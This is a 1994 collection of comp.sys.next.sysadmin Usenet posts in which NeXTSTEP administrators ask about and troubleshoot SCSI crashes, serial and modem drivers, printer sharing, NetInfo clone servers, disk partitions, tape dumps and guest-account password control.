Date: 24 Feb 1994 19:44:09 GMT
Organization: JPL Spacecraft Telecommunication Equipment
Message-ID: <2kj029$qet@marsupial.jpl.nasa.gov>
Thanks to D. Ritchley, R. Staringer, and E. Norum for useful
advice.
The problem is clearly associated with my DPT SCSI interface.
Actually, I lied in my original post: I have
DPT-2022's not 2012's. So I got NeXTAnswers memo 1457 and
read through it. All my settings were as specified.
As of this morning, I disabled SCSI caching altogether. This seems
to have made a difference, in that I no-longer see anywhere near
as many SCSI bus resets (which I think I can hear because they
seem to cycle the read heads on my disks in an audibly distinct way).
I am still not sure, though. Eric Norum says that his SCSI cabling
and termination setup was responsible for similar crashes. I have
a double-length internal SCSI cable, owing to the number of internal
SCSI devices I have, so maybe the
Maximum Transfer Rate................ 10MB/s
is too high (the NeXTAnswers note warns that you must have really
good
cabling for 10Mb/s; otherwise, use 5Mb/s).
Does anyone know if my cabling could be causing the problems
(via propagation delays, RF impedance mismatches, etc.)?
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From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: WORKSPACE error/crash NS3.2 BLACK
Date: 24 Feb 1994 15:28:57 GMT
Organization: Suite Software
Message-ID: <2kih3p$22i@bilbo.suite.com>
Reply-To: Scot_Shepherd@suite.com
Anyone got any ideas on this problem. When I attempt to open a
directory (mine) while logged in as root with the file browser I get
a WORKSPACE ERROR PANEL telling me to attempt to save any files
before logging off and the browser disappears. This only happens on
one of the 12 NeXTs in the network, and only when opening this one
directory. The only clue *I* have are these messages from the
messages log file:
Feb 24 07:54:45 spam syslog: Tool: bootstrap port died: 1102; exiting
Feb 24 07:54:46 spam loginwindow[199]: loginwindow: Workspace exited
ts 0 cd 0 rc 0 sv 0 ss 0.
Any help would be appreciated. Thanks in advance.
Scot
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From: rexfelis@rws19.xpr.cs.wwu.edu (Leif Harrison)
Subject: Compiling nn under NeXTSTEP 3.2 (Motorola)
Message-ID: <1994Feb25.020250.15164@henson.cc.wwu.edu>
Keywords: nn no news NeXTSTEP motorola 3.2
Sender: news@henson.cc.wwu.edu (USENET-WWU)
Organization: Western Washington University
Date: Fri, 25 Feb 1994 02:02:50 GMT
I'm having a bunch of problems compiling nn version 6.4.18 for
NeXTSTEP 3.2 black. It basically seems to be barfing on the makefile
and some of the code, and I don't have time to track down what the deal
is.
Does anyone have a "NeXT-ready" version of the source and/or
executable, or a reasonably quick way to get it to compile?
Thanks,
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From: gisli@timoshenko.eecs.umich.edu (Gisli Ottarsson)
Newsgroups: comp.sys.next.sysadmin
Subject: Octave. Problem connecting to gnuplot.
Date: 25 Feb 1994 06:05:52 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <GISLI.94Feb25010552@timoshenko.eecs.umich.edu>
I have installed the binary distribution of Octave on
my NeXT (Motorola, NS-3.1) and am having difficulty
plotting. I run gnuplot 3.2.
octave:1> gplot rand (100,1) with linespoints
warning: plot: unable to open pipe to `gnuplot'
The full path for gnuplot is /usr/local/bin/gnuplot
which seems fairly standard. I have attempted to
set 'gnuplot_binary="/usr/local/bin/gnuplot"' but
this does not help.
I just installed gnuplot 3.5. This did not solve the
problem.
I would appreciate hearing from others that have
successfully installed the Octave binary for NeXT
on a NeXTSTEP 3.1 (black hardware)
Gisli
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From: crc0y@cauchy.urich.edu (coates r carter)
Subject: getty problem?
Message-ID: <1994Feb24.214135.15340@gossip.urich.edu>
Sender: news@gossip.urich.edu (USENET News System Admin)
Organization: University of Richmond
Date: Thu, 24 Feb 1994 21:41:35 GMT
I am trying to allow incomming modem calls on NS3.0. I have put this line
into /etc/ttys:
ttydfb "/usr/etc/getty std.38400" dialup on
and did this:
kill -HUP 1
When I dial in, the modems connect properly, it seems, but instead of
getting the login prompt, I either get garbage or nothing. I have tried,
I think, all of the obvious tweaking-of-the-modems that I know.
Is this a problem with getty?
Has someone else enabled incomming calls?
Thanks,
Coates
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael)
Newsgroups: comp.sys.next.sysadmin
Subject: Mounting removeable IDE disk
Date: 25 Feb 1994 11:38:55 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2kko0f$pom@email.tuwien.ac.at>
I have installed a removeable 105MB 3.5" hard disk from SyQuest at my
second IDE slot.
How can I configure the system, so that I can mount and unmount it in the
Workspace Manager? Do I have to configure the fstab file and how will I
have to do this?
I really need help!
Salute
Suessner Michael
Newsgroups: comp.sys.next.sysadmin
From: paul@psmpaul.demon.co.uk (Paul Meier)
Subject: Which printers best buy?
Message-ID: <CLrw7L.ABt@demon.co.uk>
Keywords: Printers Laser
Sender: news@demon.co.uk (Usenet Administration)
Organization: Demon Internet
Distribution: comp.sys.next.hardwarer
Date: Fri, 25 Feb 1994 09:11:44 GMT
I have no recent experience in buying printers for Next, because my my
next laser printer has served me well for over two years. However, I am
about to put in a small Next network at another site and need some advice
about printers. Can you help?
1. I have an Apple laser printer attached to an Apple local talk netwrok.
Can it be attached to a Next and made to work? How?
2. I have a Kodak combined copier and Laser which emulates an an Apple
printer. Can it be attached to a Next?
3. I read and hear good things about H-P laser printers, and the last H-P
printer I had worked well and uncomplainingly for many more copies than it
was rated for. Which H-P lasers work well with Next. Which ones Attach to
Next? Which ones attach directly to the network on which Nexts run? What
do I need to do to make sure the H-P runs postscript intelligible to Next
print manager?
My thanks in advance.
Paul Meier
paul@psmpaul.demon.co.uk
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
From: mark@ve6mgs.ampr.org (Mark G. Salyzyn)
Subject: Re: Installing Serial Ports
Organization: ADEC Systems Inc.
Distribution: na
Date: Thu, 24 Feb 94 18:38:34 GMT
Message-ID: <1994Feb24.183834.25763@ve6mgs.ampr.org>
Followup-To: comp.sys.next.sysadmin
References: <139448@hydra.gatech.EDU>
Keywords: mux driver, serial, ns/intel
gt6963c@prism.gatech.EDU (John (kzin) Rudd) writes:
>I picked up the MUX serial driver off of ftp.uni-stuttgart.de,
>and installed it under NS/Intel. The Configure app worked just
>fine, but I don't see any new devices in /dev..
Look in /usr/adm/messages and look at the log of the Mux driver's probe
of the serial ports installed in the system. It should log the ports it
found upon the reboot with the new configuration (and indicate that it
found and identified the port as 8250 [not bloody likely, but it can tell
the difference] 16450, 16550AFN, broken 16550 or 82150).
The PostLoader uses the Kernel Server model to acquire the status of all
the instances of the Mux driver to figure out which ports to make in /dev.
If the Mux driver is not properly loaded, or does not find any probed ports,
then the PostLoader will *not* make the devices. The Instance?.table for the
Mux driver can override the names of the ports as well to `anything' you
want ... The probe report is just before the Kernel claims the Mux driver
instance is registered.
>So... what do I need to do?
Take a look at the /NextLibrary/Devices/SerialPorts.config/Instance?.table,
/NextLibrary/Devices/Mux.config/Instance?.table and
/NextLibrary/Devices/System.config/Instance?.table files and see it the
values make sense for the driver. Send them to me if you don't feel they
make sense ...
>I'm trying to set up a way to use my internal modem for dialing
>out.. Either using tip or some terminal program (is there something
>avaible for free?).. and I'd eventually like to use it for SLIP.
I use tip regularily at 38400 with the driver, and don't feel at a lack for
capability. I think TipTop is having troubles with the locking mechanism in
this driver (between /dev/cu?? and /dev/ttyd??) and have not had the
opportunity to test and debug the problem (yet). It *should* have no problems
if you do not set the port up as bidirectional (getty and TipTop).
While I have your attention, the Mux 1.3 version of the driver *requires*
the "Buffer Size" and RTS Water Mark specification in the Default.table files,
I shipped it without these values in some of the example Condigurations, and
some people might be tempted to use the 1.2 Instance?.table files without these
configuration parameters. I have not accumulated enough bug fixes, improvements
and workarounds to justify posting the 1.4 version of the driver ...
Ciao, -- Mark Salyzyn
From: lusty@lusty.tamu.edu (Lusty Wench)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: update on really fatal NS 3.2 Intel crashes: (DPT-2022 SCSI)
Date: 25 Feb 1994 13:18:58 GMT
Organization: Me
Message-ID: <2kkts2$pun@news.tamu.edu>
References: <2kj029$qet@marsupial.jpl.nasa.gov>
In article <2kj029$qet@marsupial.jpl.nasa.gov>,
John B. Hampshire II <hamps@richibucto.jpl.nasa.gov> wrote:
>maybe the
>
>Maximum Transfer Rate................ 10MB/s
>
>is too high (the NeXTAnswers note warns that you must have really
>good
>cabling for 10Mb/s; otherwise, use 5Mb/s).
>
>Does anyone know if my cabling could be causing the problems
>(via propagation delays, RF impedance mismatches, etc.)?
I had a similar problem to the one you describe when I initially
put together my system with a DPT 2012. I was (miraculously)
able to get Nextstep installed, but it was consistently crashing
anywhere from 5 to 15 minutes after booting because of SCSI
errors. Interestingly, it seemed to be affected by heat. If
the machine was off for a long while (say overnight) it would
last longer than if it had been up for even 10 minutes.
In my case, setting the maximum transfer rate to 5 MB/s solved
the problem entirely.
Lusty
Newsgroups: comp.sys.next.sysadmin
From: richarda@dcs.qmw.ac.uk (Achmatowicz)
Subject: Accessing NMI monitor from NSI
Message-ID: <CLs8Ep.CzG@dcs.qmw.ac.uk>
Sender: usenet@dcs.qmw.ac.uk (Usenet News System)
Organization: Computer Science Dept, QMW, University of London, UK.
Date: Fri, 25 Feb 1994 13:35:12 GMT
Dear All
Re: How to access the NMI monitor on NSI
========================================
I am trying to find out how to access the NMI mini-monitor
from my Gateway 2000 machine by following the instructions
in the NeXT documentation, without much success.
I have a Gateway 2000 AnyKey keyboard, which has more
that 102 keys and is fully programmable, except for the
main keys, like Ctrl, Alt, NumLock, ScrollLock, etc.
A Related Problem?
==================
I have one problem with my keyboard that might be influencing
my problem with accessing the NMI monitor: my ScrollLock
and NumLock keys don't seem to work under NeXTStep. I tested
them out under DOS - no problem. In fact, when the PC boots
up, the NumLock light is on just until the point when the
Registering: PCKeyboard0 kernel message appears.
Then the light disappears and my NumLock functionality with it.
When I go into Preferences - International and test the key to
keyboard mapping, the NumLock key doesn't seem to be registered,
although a , character appears in the window.
Any ideas? Does anyone else have this NumLock problem??
Back To Accessing the NMI mini-monitor
======================================
I read in the 3.2 Release Notes -OS, that for Gateway machines,
to get into the mini-monitor, press Alternate-Num Lock.
I try this and I get a Restart dialog box up, with 'Type r
to reboot and type h to halt. n to cancel'
I imagine this has something to do with the fact that my
NumLock key isn't working properly.
Is this the correct way to access the NMI monitor from NSI?
Is there any documentation on these differences with the
black hardware?
Any help would be appreciated.
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
From: ambrosia@chpi.edu.tw (Codex Chen)
Newsgroups: comp.sys.next.sysadmin
Subject: How to maintain one guest account?
Date: 25 Feb 1994 16:02:34 GMT
Organization: Department of Computer Science, Chung Hua Polytechnic Institute
Message-ID: <2kl7eq$mo9@news.csie.nctu.edu.tw>
Keywords: password
Hello all,
I am new in this newsgroup, though I was in charge of the sys adm
for months...
Now I got one problem: I don't know how to maintain the guest account.
This guest account is for the use of the students in our school; we set the
password for prohibitting the users out of the school. Now here comes the
problem: just using the NIS I can not let the password of this guest account
not being modified by the guest users. Should I install some other s/w for
this purpose or make some changes to the NIS?
Thanks in advance...I know this question is a bit big and awful...
--
=========================================================================
The one who is looking for the void...
Department of Computer Science ambrosia@chpi.edu.tw
Chung Hua Polytechnic Institute ambrosia@cs.chpi.edu.tw
HsinChu, Taiwan 30067
Republic of China
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: crc0y@cauchy.urich.edu (coates r carter)
Subject: libg++ install problems
Message-ID: <1994Feb22.175658.23584@gossip.urich.edu>
Sender: news@gossip.urich.edu (USENET News System Admin)
Organization: University of Richmond
Date: Tue, 22 Feb 1994 17:56:58 GMT
I have been struggling to get the gnu libg++ libraries in order on NS3.0.
All the documentation I have gives no specific-to-next instructions on
building and installing the libraries. The instructions I have are
incomplete. I have been advised of this and that you have to have to
tweak and so on. But there are still problems.
Does anyone have or know of some documentation that will walk me through
this installation on a next? Or, if any of you sysadmin/language gurus
can remember when you installed libg++, please advise me.
Thanks,
Coates Carter
From: croehrig@cs.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to maintain one guest account?
Date: 25 Feb 1994 16:52:16 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2klac0$s2v@cs.ubc.ca>
References: <2kl7eq$mo9@news.csie.nctu.edu.tw>
In article <2kl7eq$mo9@news.csie.nctu.edu.tw> ambrosia@chpi.edu.tw
(Codex Chen) writes:
>just using the NIS I can not let the password of this guest account
> not being modified by the guest users.
You can use the NetInfo property _writers_passwd to restrict the
ability to change the password.
From NextAdmin (05_UserAccounts/03_ExaminingNetInfo.rtfd):
This property lists the names of the users who can modify the
passwd property. This property has the same value as the name
property (that is, the user name), so that the user can change
the password without assistance from an administrator.
Note: Normally, properties and values can only be changed by a
user knowing the root password for the domain, or a user logged
in as root on the computer serving the domain. However, if a
directory contains a property named _writers, the users listed as
values of that property are permitted to change any properties or
values in the directory. A property of the form _writers_property
lists the users that can change the value of the indicated property.
--
Chris Roehrig (croehrig@cs.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: croehrig@cs.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Home directory pop-up list in UserManager doesn't work
Date: 25 Feb 1994 17:00:27 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2klarb$s4f@cs.ubc.ca>
How do I get the pop-up list in UserManager to show "/Users" as
the home directory instead of "/" (NS3.2/Motorola)? (This is when
creating a Local account). I've changed the nu.cf GroupHome and
DefaultHome entries accordingly, and the "Revert to Default" button
in the Long Form resets the fields correctly, but the initial default
of "/" never changes. I'm not running as a NI server, so I only
have the local NI domain. Do I have to create a /locations/homes
entry in NI? If so, what do I put in it if it's a local directory?
The documentation on setting up a single stand-alone NeXT connected
to a network sucks.
Thanks,
--
Chris Roehrig (croehrig@cs.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: croehrig@cs.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Are multiple partitions on local harddisks possible in 3.2?
Date: 25 Feb 1994 17:07:11 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2klb7v$s60@cs.ubc.ca>
I'd like to set up my 3.2 (Motorola) boot disk with 2 partitions.
However, I came across this in the 3.2 release notes
(NetworkConfiguration.rtf):
>Multiple UNIX file system partitions on a local disk may cause
>problems with Workspace Manager. Don't create multiple partitions
>on a single local, automounted device.
Is this for real!? Has anyone run into problems with multiple
partitions?
--
Chris Roehrig (croehrig@cs.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to maintain one guest account?
Date: 25 Feb 1994 17:21:01 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2klc1t$j4d@quartz.ucs.ualberta.ca>
References: <2kl7eq$mo9@news.csie.nctu.edu.tw>
There are two approaches you can take.
1. Make yppasswd not executable by world, and chown it to a group that
everyone else belongs to. This would require that guest belong to a
separate group from regular users (a good idea)
2. Put yppasswd in a directory that guest's do not have read access to.
3. Only run yppasswd on the YP server, and disallow logins by guest on
that server (see netgroups for details)
4. Put a shell wrapper around yppasswd, and have it check the group of
the user first, and if the group is guests, it aborts with a "Sorry, you
don't have password changing privledges.
Ok, I can't count.
Codex Chen (ambrosia@chpi.edu.tw) wrote:
: Hello all,
: I am new in this newsgroup, though I was in charge of the sys adm
: for months...
: Now I got one problem: I don't know how to maintain the guest account.
: This guest account is for the use of the students in our school; we set the
: password for prohibitting the users out of the school. Now here comes the
: problem: just using the NIS I can not let the password of this guest account
: not being modified by the guest users. Should I install some other s/w for
: this purpose or make some changes to the NIS?
: Thanks in advance...I know this question is a bit big and awful...
: --
: =========================================================================
: The one who is looking for the void...
: Department of Computer Science ambrosia@chpi.edu.tw
: Chung Hua Polytechnic Institute ambrosia@cs.chpi.edu.tw
: HsinChu, Taiwan 30067
: Republic of China
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: Joe_Keenan@next.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Are multiple partitions on local harddisks possible in 3.2?
Date: 25 Feb 1994 18:05:30 GMT
Organization: NeXT, Inc.
Message-ID: <2klela$blq@rosie.next.com>
References: <2klb7v$s60@cs.ubc.ca>
In article <2klb7v$s60@cs.ubc.ca> croehrig@cs.ubc.ca (Chris Roehrig) writes:
>
> I'd like to set up my 3.2 (Motorola) boot disk with 2 partitions.
> However, I came across this in the 3.2 release notes
> (NetworkConfiguration.rtf):
>
> >Multiple UNIX file system partitions on a local disk may cause
> >problems with Workspace Manager. Don't create multiple partitions
> >on a single local, automounted device.
>
> Is this for real!? Has anyone run into problems with multiple
> partitions?
I just filed a bug report about this paragraph this morning. It's not very
clear, is it? Note the word "automounted" in the last line. What this means
is that it's not really safe to have the Workspace try and automount multiple
partitions from the same disk.
If you want to have two partitions on a disk, no problem. Just make sure that
you have entries for both of them in /etc/fstab. And watch out for the other
documentation bug: the second (non-root) partition should NOT have the
'noauto' option on the fstab line.
Joe Keenan
NeXT Technical Support
From: mlankeit@razzb.nwest.mccaw.com (Markus Lankeit)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SUMMARY: How to make a client a clone server ?
Date: 25 Feb 1994 18:23:40 GMT
Organization: McCaw Cellular Communications, Inc.
Message-ID: <2klfnc$5hc@ftp-p.mccaw.com>
References: <2ki1pg$rai@bambi.zdv.Uni-Mainz.DE>
Keywords: NetInfo, Clone, Manual
There are several ways to setup a clone server. Using NetInfo Manager
under 3.x is probably the easiest--but I've found that NetInfo Manger
sometimes hangs or crashes in the middle of that process, so I wouldn't
recommend this procedure. Another easy way is to use "nidomain -c" (see
man-page for details).
You can also setup a clone server manually. This can get tricky, but it
really is not that hard. There's three steps to it:
1. Make some modifications to the domain you want to clone
2. Copy the NetInfo database to the new clone server
3. Make sure /etc/hostconfig is setup with "real" values (not
"-AUTOMATIC-")
Essentially, you need to modify the domain database you want to clone such
that the new clone server is listed as serving that domain. You do this
by finding modifying the "serves" property of the clone server (open the
clone server's directory inside /machines). When you do these
modifications, you're really copying the "serves" property setup from the
master server (open the master server's directory inside /machines).
Knowing this may help to clarify some of the instructions below.
If you have a two-level structure, then the serves of that clone server
should have a value of "server/local" where "server" is the actual
hostname of that machine. Add to this the value "./network" if your root
domain is served out of a tag "network" (check this by doing an 'nidomain
-l' on your master server).
For three or more level structures, cloning a mid-level domain is a bit
more complex (one of those things that is harder to explain than to
actually do). Let's just say that when you clone a mid-level domain, you
need to bind to some parent domain, so you need to modify the serves
properties within the mid-level domain as well as its parent to get this
right. For more details, consult the Sys-Admin documentation, Ch 10.
Now, ftp or transfer via floppy the root domain database to the new clone
server. Most likely your tag is "network", so tar up
/etc/netinfo/network.nidb (or copy via floppy) and install it inside
/etc/netinfo on your new clone server.
You'll now need to check /etc/hostconfig on your clone server to make sure
that the values for "HOSTNAME" and "INETADDR" are not "-AUTOMATIC-"; also,
you need to change "NETMASTER" to "-YES-".
That's all there's to it. Just restart NetInfo (kill and restart nibindd
or reboot) and you have a clone server.
--
Markus Lankeit
McCaw Cellular Communications, Inc.
markus.lankeit@mccaw.com
From: cdl@chiton.ucsd.edu (Carl Lowenstein)
Newsgroups: comp.sys.next.sysadmin
Subject: Jayson's Joke?
Date: 25 Feb 1994 11:46:10 -0800
Organization: Marine Physical Lab, UC San Diego
Distribution: world
Message-ID: <2klki2$q01@chiton.ucsd.edu>
So I installed the latest version of NewsGrazer on a NeXTstation.
Along the way, a window popped up asking me to tell it things like
"Organization:". I figured that this could be saved until later,
and went onward. Now when I post something from that machine I get
the interesting line shown at the end of this excerpt:
Article 10 of sdnet.next:
Path: network.ucsd.edu!usenet
From: cdl@helium.ucsd.edu (Carl Lowenstein)
Newsgroups: comp.sys.next.misc,sdnet.next
Subject: Re: Missing NeXTworld magazine?
Date: 22 Feb 1994 22:39:32 GMT
Organization: A poorly-installed InterNetNews site
And I can't find the magic combination to get back to the window
that sets "Organization:". Is it really part of NewsGrazer, or
some other administrative detail that I have overlooked?
carl
carl lowenstein marine physical lab u.c. san diego
{decvax|ucbvax} !ucsd!mpl!cdl cdl@mpl.ucsd.edu
clowenstein@ucsd.edu
--
carl lowenstein marine physical lab u.c. san diego
{decvax|ucbvax} !ucsd!mpl!cdl cdl@mpl.ucsd.edu
clowenstein@ucsd.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Changing hostname
Organization: CYANTIC Systems
Date: Fri, 25 Feb 1994 19:37:24 GMT
Message-ID: <1994Feb25.193724.4374@cyantic.com>
I would like to change the hostname of one Nextstation on the network.
Is this a simple matter of changing the name in Host Manager, or will that
not percolate through all of Netinfo.
The network does not have a Netinfo server at the present time, though
there are two NextStations on the wire.
--
Mark T. Dornfeld, Cyantic Systems Corporation Voice: (416) 621-6166
1 Eva Road Suite 301 Facsimile: (416) 621-6212
Etobicoke, Ontario, M9C 4Z5 CANADA Email: mark@cyantic.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Giving Access to NXFax Modem
Organization: CYANTIC Systems
Date: Fri, 25 Feb 1994 19:39:55 GMT
Message-ID: <1994Feb25.193955.4480@cyantic.com>
We have tried several times to set an NXFax Modem to Public access. Each
time PrintManager has crashed leaving the Fax System disabled.
There is no error message, so we don't know why it crashed.
This procedure should be the same as making a printer public, shouldn't it?
--
Mark T. Dornfeld, Cyantic Systems Corporation Voice: (416) 621-6166
1 Eva Road Suite 301 Facsimile: (416) 621-6212
Etobicoke, Ontario, M9C 4Z5 CANADA Email: mark@cyantic.com
From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: libg++ install problems
Date: 25 Feb 1994 21:00:42 GMT
Organization: Department of Biological Sciences, Stanford University
Message-ID: <MAGNUS.94Feb25130042@fisher.Stanford.EDU>
References: <1994Feb22.175658.23584@gossip.urich.edu>
In-reply-to: crc0y@cauchy.urich.edu's message of Tue, 22 Feb 1994 17:56:58 GMT
In article <1994Feb22.175658.23584@gossip.urich.edu> crc0y@cauchy.urich.edu (coates r carter) writes:
> I have been struggling to get the gnu libg++ libraries in order on NS3.0.>
> All the documentation I have gives no specific-to-next instructions on
> building and installing the libraries. The instructions I have are
> incomplete. I have been advised of this and that you have to have to
> tweak and so on. But there are still problems.
> Does anyone have or know of some documentation that will walk me through
> this installation on a next? Or, if any of you sysadmin/language gurus
> can remember when you installed libg++, please advise me.
I would strongly recommend upgrading to NEXTSTEP 3.2 which comes with
libg++. Although the versions of g++ and libg++ you get that way are
not the newest (template support, e.g., has improved since then) they
work, and furthermore you can integrate Objective-C nicely with C++.
If you find that you still want the newest gnu stuff, having 3.2 will
make it easier to install them as well. Remember that you have to get
gcc before you can get libg++ (this is clearly stated in the INSTALL
file).
--
Magnus Nordborg
magnus@fisher.stanford.edu (NeXT mail welcome)
Department of Biological Sciences
Stanford University
Stanford, CA 94305-5020
+1 (415) 723-4952 (office)
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Jayson's Joke?
Date: 25 Feb 1994 17:35:17 -0500
Organization: Digital Fix Development
Distribution: world
Message-ID: <2kluf5$jgg@digifix.digifix.com>
References: <2klki2$q01@chiton.ucsd.edu>
Carl Lowenstein writes
>
> So I installed the latest version of NewsGrazer on a NeXTstation.
> Along the way, a window popped up asking me to tell it things like
> "Organization:". I figured that this could be saved until later,
> and went onward. Now when I post something from that machine I get
> the interesting line shown at the end of this excerpt:
>
> Article 10 of sdnet.next:
> Path: network.ucsd.edu!usenet
> From: cdl@helium.ucsd.edu (Carl Lowenstein)
> Newsgroups: comp.sys.next.misc,sdnet.next
> Subject: Re: Missing NeXTworld magazine?
> Date: 22 Feb 1994 22:39:32 GMT
> Organization: A poorly-installed InterNetNews site
>
> And I can't find the magic combination to get back to the window
> that sets "Organization:". Is it really part of NewsGrazer, or
> some other administrative detail that I have overlooked?
The Organization field is configured in INN (in that site's case)....
And to clarify...... Jayson isn't responsible for the current
NewsGrazer 75. being released.... that was NeXT. Its not his fault! :-)
Jayson/Millennium have a killer NewsGrazer replacement coming... if
this NewsGrazer release hasn't killed it.
[disclaimer- I don't [work with]/[speak for] Jayson or Millennium, I just
really want a supported NewsGrazer!]
--
- Scott Anguish -
sanguish@digifix.com (NextMail)
next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin
From: cbradley@bozell.com (Chris Bradley)
Subject: Re: NeXT front end to dump/restore?
Message-ID: <1994Feb25.160012.11998@bozell.com>
Keywords: dump
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <S.A.MCINTYRE.94Feb14120044@shrug.dur.ac.uk>
Date: Fri, 25 Feb 1994 16:00:12 GMT
In article <S.A.MCINTYRE.94Feb14120044@shrug.dur.ac.uk> "Scott A. McIntyre"
<S.A.McIntyre@durham.ac.uk> writes:
> I'm looking for the front end more for the dump; I use DAT and know
> that there are some strange numbers you need to give dump to get it to
> work right on a DAT drive...
We use this command for a level 0 dump of /dev/sd0a to DAT:
/etc/dump 0ufs /dev/nrst0 1000000 /dev/sd1a
The 1000000 argument equates to the length of tape in feet. This is used to
tell dump that the DAT unit at /dev/nrst0 has a capacity of about 2 GB. Here's
the arithmetic:
1000000 feet * 1600 bits/inch =~ 2 GB
Anyone who can explain this more perfectly, please do.
--
Chris Bradley | cbradley@bozell.com
Techno-Slave, with Many Masters | +1 214 830 2273 vox
Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax
Advertising and Public Relations | "Born ready"
Newsgroups: comp.sys.next.sysadmin
From: Jayson Adams
Subject: Re: Jayson's Joke?
Message-ID: <1994Feb26.024031.2946@millennium.com>
Keywords: NewsGrazer Pro -- the next best thing to being there
Sender: jayson@millennium.com
Organization: Millennium Software Labs, Inc.
References: <2klki2$q01@chiton.ucsd.edu>
Date: Sat, 26 Feb 1994 02:40:31 GMT
In article <2klki2$q01@chiton.ucsd.edu>, Carl Lowenstein writes:
>
> So I installed the latest version of NewsGrazer on a NeXTstation.
I'm not sure why people think I released a new version of NewsGrazer. I guess my
picture's in the Info panel, but you sure didn't see my name on the announcement
post. NeXT has decided to support NG so you should direct bug reports and
questions their way. You might try sending mail to Bryce Jasmer and Sara Benson
(they were involved with getting this new release out to the world).
__jayson
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: nicolev@number_one.apana.org.au
Subject: Taylor uucp setup
Message-ID: <CLt20z.43A@number_one.apana.org.au>
Sender: nicolev@number_one.apana.org.au (Nikki A Vincent)
Organization: Cafe Seacombe - the Virtual NeXTSTEP Cafe Downunder.
Date: Sat, 26 Feb 1994 00:14:58 GMT
Hi
Thanx to all those who responded to my previous question about setting up
Taylor uucp for compilation.
Unfortunately, I still am getting an annoying error which I do not know
how to solve (not being overly conversant with C). Below is the message I
keep getting upon trying to make it:
cc -c -O -g -I./.. -I.. -DSBINDIR=\"/usr/local/lib/uucp\" -DOWNER=\"uucp\"
fsusg.c
fsusg.c: In function `get_fs_usage':
fsusg.c:120: storage size of `fsd' isn't known
*** Exit 1
Stop.
*** Exit 1
Stop.
If anyone has any suggestions, please do forward them to me as I am
totally perplexed.
Looking forward to hearing from you.
Cheers
Nicole
---
----------------------NeXTmail Accepted and preferred --------------------
Nicole Vincent : nicolev@number_one.apana.org.au
SYDNEY NSW AUSTRALIA
On a day when nothing happens, are Life is a health hazard,...
they gonna cancel the 6 o'clock news? watch out or it will get you.
WIRED, February 1994, pp. 50. ME :-)
Newsgroups: comp.sys.next.sysadmin
From: Dave@NexusAdmin.COM(David W. Fahrney)
Subject: Re: Jayson's Joke?
Message-ID: <CLtAJE.4oG@nexusadmin.com>
Sender: dave@nexusadmin.com (David W. Fahrney)
Organization: Nexus Administration
References: <2klki2$q01@chiton.ucsd.edu>
Date: Sat, 26 Feb 1994 03:18:49 GMT
Carl Lowenstein writes
!>
!> So I installed the latest version of NewsGrazer on a NeXTstation.
!> Along the way, a window popped up asking me to tell it things like
!> "Organization:". I figured that this could be saved until later,
!> and went onward. Now when I post something from that machine I get
!> the interesting line shown at the end of this excerpt:
!>
!> Article 10 of sdnet.next:
!> Path: network.ucsd.edu!usenet
!> From: cdl@helium.ucsd.edu (Carl Lowenstein)
!> Newsgroups: comp.sys.next.misc,sdnet.next
!> Subject: Re: Missing NeXTworld magazine?
!> Date: 22 Feb 1994 22:39:32 GMT
!> Organization: A poorly-installed InterNetNews site
!>
!> And I can't find the magic combination to get back to the window
!> that sets "Organization:". Is it really part of NewsGrazer, or
!> some other administrative detail that I have overlooked?
!>
Organization is set in /usr/local/news/lib/organization in C-news.
--
David W. Fahrney =:-)
Nexus Administration
VOX: 310.640.3342
INT: Dave@NexusAdmin.COM
Newsgroups: comp.sys.next.sysadmin
From: bmcquaid@crash.cts.com (Brad McQuaid)
Subject: Accessing NeXT printers
Organization: /etc/organization
Date: Sat, 26 Feb 1994 09:05:01 GMT
Message-ID: <CLtqKF.Bu5@crash.cts.com>
Sender: news@crash.cts.com (news subsystem)
We have two NeXTstations on our network. A NeXT 400dpi laser printer
is attached to one and a Hewlet Packard IIP to the other. We just
added a pc to the network running chameleon's netmanage tcp/ip software.
The big question is: is there a way to print from the pc to either the
next printer or the hewlet packard?
Also, and this is just UNIX related, non-next: we also have a dg aviion
on the network. How do you make the printers attached to it available
to print from other systems on the network.
